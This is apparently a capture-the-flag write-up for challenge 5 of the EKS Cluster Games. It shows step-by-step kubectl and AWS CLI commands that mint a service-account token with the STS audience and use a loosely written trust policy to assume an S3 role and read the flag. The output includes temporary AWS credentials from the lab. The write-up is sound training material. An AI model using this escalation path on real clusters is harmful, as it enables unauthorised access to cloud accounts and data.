EKS Cluster Games 2023 - Challenge 5

Challenge #5: Container Secrets Infrastructure

Scenario

You’ve successfully transitioned from a limited Service Account to a Node Service Account! Great job. Your next challenge is to move from the EKS to the AWS account. Can you acquire the AWS role of the s3access-sa service account, and get the flag?

Up to challenge #4, we have already obtained the system:node service account. Now we need to leverage this account to move to another AWS account. For this challenge, we are given the following information:

  1. IAM Policy

This IAM policy allows the AWS account to GetObject and ListBucket on the challenge-flag-bucket-3ff1ae2 and challenge-flag-bucket-3ff1ae2/flag resources.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
{
    "Policy": {
        "Statement": [
            {
                "Action": [
                    "s3:GetObject",
                    "s3:ListBucket"
                ],
                "Effect": "Allow",
                "Resource": [
                    "arn:aws:s3:::challenge-flag-bucket-3ff1ae2",
                    "arn:aws:s3:::challenge-flag-bucket-3ff1ae2/flag"
                ]
            }
        ],
        "Version": "2012-10-17"
    }
}

2.Trust Policy

AWS trust policy defines which principals can assume a role, and under which conditions.

The following trust policy defines a policy whereby the identity provider oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589 is allowed to assume a role only when the value of audience aud is equal to sts.amazonaws.com.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "Federated": "arn:aws:iam::688655246681:oidc-provider/oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589"
            },
            "Action": "sts:AssumeRoleWithWebIdentity",
            "Condition": {
                "StringEquals": {
                    "oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589:aud": "sts.amazonaws.com"
                }
            }
        }
    ]
}

3.Permissions of EKS node’s service account

Following permissions are granted to the EKS node’s service account obtained in challenge #4.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
{
    "secrets": [
        "get",
        "list"
    ],
    "serviceaccounts": [
        "get",
        "list"
    ],
    "pods": [
        "get",
        "list"
    ],
    "serviceaccounts/token": [
        "create"
    ]
}

With this information, we can start the challenge by querying resources where the EKS node’s service account is allowed. For the create service account token, we will leave it for later.

1
2
3
4
5
6
7
8
9
root@wiz-eks-challenge:~# kubectl get secrets
No resources found in challenge5 namespace.
root@wiz-eks-challenge:~# kubectl get pod    
No resources found in challenge5 namespace.
root@wiz-eks-challenge:~# kubectl get sa 
NAME          SECRETS   AGE
debug-sa      0         2d14h
default       0         2d14h
s3access-sa   0         2d14h

We don’t see anything except the service accounts in challenge5 namespace. Let’s have a look at the resource manifest.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
root@wiz-eks-challenge:~# kubectl get sa -oyaml
apiVersion: v1
items:
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    annotations:
      description: This is a dummy service account with empty policy attached
      eks.amazonaws.com/role-arn: arn:aws:iam::688655246681:role/challengeTestRole-fc9d18e
    creationTimestamp: "2023-10-31T20:07:37Z"
    name: debug-sa
    namespace: challenge5
    resourceVersion: "671929"
    uid: 6cb6024a-c4da-47a9-9050-59c8c7079904
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2023-10-31T20:07:11Z"
    name: default
    namespace: challenge5
    resourceVersion: "671804"
    uid: 77bd3db6-3642-40d5-b8c1-14fa1b0cba8c
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    annotations:
      eks.amazonaws.com/role-arn: arn:aws:iam::688655246681:role/challengeEksS3Role
    creationTimestamp: "2023-10-31T20:07:34Z"
    name: s3access-sa
    namespace: challenge5
    resourceVersion: "671916"
    uid: 86e44c49-b05a-4ebe-800b-45183a6ebbda
kind: List
metadata:
  resourceVersion: ""

Let’s check on which service account we can create a token for.

1
2
3
4
5
6
root@wiz-eks-challenge:~# kubectl auth can-i --list --token=$TOKEN
warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources                                       Non-Resource URLs   Resource Names     Verbs
serviceaccounts/token                           []                  [debug-sa]         [create]
selfsubjectaccessreviews.authorization.k8s.io   []                  []                 [create]
selfsubjectrulesreviews.authorization.k8s.io    []                  []                 [create]

With this information, we have an attack path we can use to obtain the AWS account role. First, by looking at the trust policy, the condition is not very restrictive whereby assumerolewithwebidentity is allowed so long as the aud value is equal to sts.awsamazon.com. No other conditions such as allowed service account are defined. That means any service account token that meets the condition can be used to assume the AWS role.

Let’s create the token for debug-sa service account and see the permissions assigned to this service account.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
root@wiz-eks-challenge:~# export DEBUG=$(kubectl create token debug-sa --duration=3600s)
root@wiz-eks-challenge:~# kubectl auth can-i --list --token=$DEBUG
warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources                                       Non-Resource URLs                     Resource Names     Verbs
selfsubjectaccessreviews.authorization.k8s.io   []                                    []                 [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []                 [create]
                                                [/.well-known/openid-configuration]   []                 [get]
                                                [/api/*]                              []                 [get]
                                                [/api]                                []                 [get]
                                                [/apis/*]                             []                 [get]
                                                [/apis]                               []                 [get]
                                                [/healthz]                            []                 [get]
                                                [/healthz]                            []                 [get]
                                                [/livez]                              []                 [get]
                                                [/livez]                              []                 [get]
                                                [/openapi/*]                          []                 [get]
                                                [/openapi]                            []                 [get]
                                                [/openid/v1/jwks]                     []                 [get]
                                                [/readyz]                             []                 [get]
                                                [/readyz]                             []                 [get]
                                                [/version/]                           []                 [get]
                                                [/version/]                           []                 [get]
                                                [/version]                            []                 [get]
                                                [/version]                            []                 [get]
podsecuritypolicies.policy                      []                                    [eks.privileged]   [use] 

Interestingly, the debug-sa has the permission to get JWKS URL of the apiserver /openid/v1/jwks. We can use the following command to see what is being returned in the response:

1
2
root@wiz-eks-challenge:~# kubectl get --raw /openid/v1/jwks --token=$DEBUG
{"keys":[{"use":"sig","kty":"RSA","kid":"5E4MdFPqCQ4s9HXCB0bMdSK7jTPOq89zrLhiP34vAac","alg":"RS256","n":"z_oi3miohXQpvzGfxF6pD50duuEN2tiYS6RsNaZ7Mk7K_do8J8uAeilMekGK_WUPjWZOpsb3CzC_ZZDz5xRm7ZyLVDf0hgJ7AZcL33J3xfZ7qbxTth8uDAG8H8Wg89me8PVunmk9o__3JKw2352BnVlutyjDwR_3eg5awtGUieaCQZutG_9z-jzSpZjsniaXbykfXlbObHH2VjnGVzu9R_pDCoSaqiX3iBA1BttpT8w79FYUgeC-4RLm9AtAsSfO_zUwD_kQvBtzjoxsrclP1ALqLR-j4jYWkr0ybMh5GsmK8XtCuykOtbuEQZPqtz5rs3STGXiNuIst6dvmNslptw","e":"AQAB"}]}

Let’s run the following command to find out the openid configuration:

1
2
root@wiz-eks-challenge:~# kubectl get --raw /.well-known/openid-configuration --token=$DEBUG
{"issuer":"https://oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589","jwks_uri":"https://ip-10-0-37-195.us-west-1.compute.internal:443/openid/v1/jwks","response_types_supported":["id_token"],"subject_types_supported":["public"],"id_token_signing_alg_values_supported":["RS256"]}

Now we know that the identity provider is indeed oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589 . We can create another token for debug-sa service account with the correct aud value.

1
root@wiz-eks-challenge:~# export DEBUG=$(kubectl create token debug-sa --duration=3600s --audience sts.amazonaws.com

Then we can assume role with the web identity token we have just generated and the arn of the role attached to s3access-sa:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
root@wiz-eks-challenge:~# aws sts assume-role-with-web-identity --role-arn arn:aws:iam::688655246681:role/challengeEksS3Role --role-session-name challenge5 --web-identity-token $DEBUG
{
    "Credentials": {
        "AccessKeyId": "ASIA2AVYNEVMVPNQN6HQ",
        "SecretAccessKey": "G5y4XE4Wf0o8MpTeLIkGBqR1mhRSeM6wQH2z/nCQ",
        "SessionToken": "IQoJb3JpZ2luX2VjEA4aCXVzLXdlc3QtMSJIMEYCIQCkhiqQR5HPSvwK6EiKnL+FT6Q7z4zeUpZovSiaeuLMagIhAMimQn85nKXPpj30Id3mjjJ51kdIrhY3SYr+nTKLsl3rKrsECEcQABoMNjg4NjU1MjQ2NjgxIgzM70/huExLe3yUnTkqmAQElWqwIo3uw3tVpcZPDWxbgR+CSruAX0u+WsGmbLj59yDPf8c8CjSPxnGDmJnhdypICVNLzr8e5yUl8ZtdSuZMNhR4UhnbsZlBPO+H9/aEWNlvTFkA45Bp6yRLlo0qvjrw8+/w5068pQzefsyFRcmw59YN2szAGe+hWHfpeK9ITOi4yo3NG/qzB5Qzn+R71+SLwvJ70u1dNW6SGMl1XuIejszHfIDnjq++O3smiYsrxM2nMVqCCj1LJCWmj0Y7WxnO2FkAZtEAPjEvO3nsS0BsZ+kz9NfgiwRXx3ZHrlamxQGJnQBZGf6GpC96LxkWg+xqjvjUfKvzhRsn+ZEjzeK9cJX1f3Jgv9jFTgMDQRZ85t32w1zbJrvLYoqM/az2bv5k71HmBn75+JzUvG+KB981J7okECWyX5663b3gNGs0egh1FpoA8VyhkwUv/amJd7Qpm4NcdmMIz13xcTOrffqCBPvZhtTSqtOjS7t22H8JwXoLHh7PjX90U20RTE5UOvANDoQPVmOvK9T+Uy8VALyEXY88APZOuT8zuXvKRm+GKnRo7uxbcvxoyCb/44gBdVuuQf4DpPR0CJPPirM4dxsRgYKV4r4p16y/6Wp49HF4uLmUrATdF+P+nuQ1lhCkWvyJc+LdDGpmQkzMNpMjz9OB8SW/dhaEcv6IsDnFs6SZavlCgfmUoOPRG360OWV4CtvnD059bcHVjzC87pOqBjqUAb1OS7SViovgWzClVxoqDhsDUIYXTiInXfMkQmXGR/nxL8qKUK6M+qeC5o9FmePjGdQZqlSku5Av38xGnbWQ/JqY3Dp0EI6+sHeTIq1z1ihMr1sX6V0+6TmggpunlilHEADywuzkcPw+0Gln+8VpsjDFWVSwQRj+sMd1kWEoylPyr8laU9ox9wId71cN9EgfD6qCy40=",
        "Expiration": "2023-11-03T14:35:56+00:00"
    },
    "SubjectFromWebIdentityToken": "system:serviceaccount:challenge5:debug-sa",
    "AssumedRoleUser": {
        "AssumedRoleId": "AROA2AVYNEVMZEZ2AFVYI:challenge5",
        "Arn": "arn:aws:sts::688655246681:assumed-role/challengeEksS3Role/challenge5"
    },
    "Provider": "arn:aws:iam::688655246681:oidc-provider/oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589",
    "Audience": "sts.amazonaws.com"
}

We have successfully assumed the challengeEksS3Role/challenge5 role.

1
2
3
4
5
6
root@wiz-eks-challenge:~# aws sts get-caller-identity
{
    "UserId": "AROA2AVYNEVMZEZ2AFVYI:challenge5",
    "Account": "688655246681",
    "Arn": "arn:aws:sts::688655246681:assumed-role/challengeEksS3Role/challenge5"
}

With the newly obtained role, we can access and down the flag from the challenge-flag-bucket-3ff1ae2 S3 bucket.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
root@wiz-eks-challenge:~# aws s3api get-object --bucket challenge-flag-bucket-3ff1ae2 --key flag flag
{
    "AcceptRanges": "bytes",
    "LastModified": "2023-11-01T12:27:55+00:00",
    "ContentLength": 72,
    "ETag": "\"5479da5a2fc031f6a9941a0ed1e1bde9\"",
    "ContentType": "binary/octet-stream",
    "ServerSideEncryption": "AES256",
    "Metadata": {}
}

Yay! We got the final flag :)

1
2
root@wiz-eks-challenge:~# cat flag
wiz_eks_challenge{w0w_y0u_really_are_4n_eks_and_aws_exp1oitation_legend}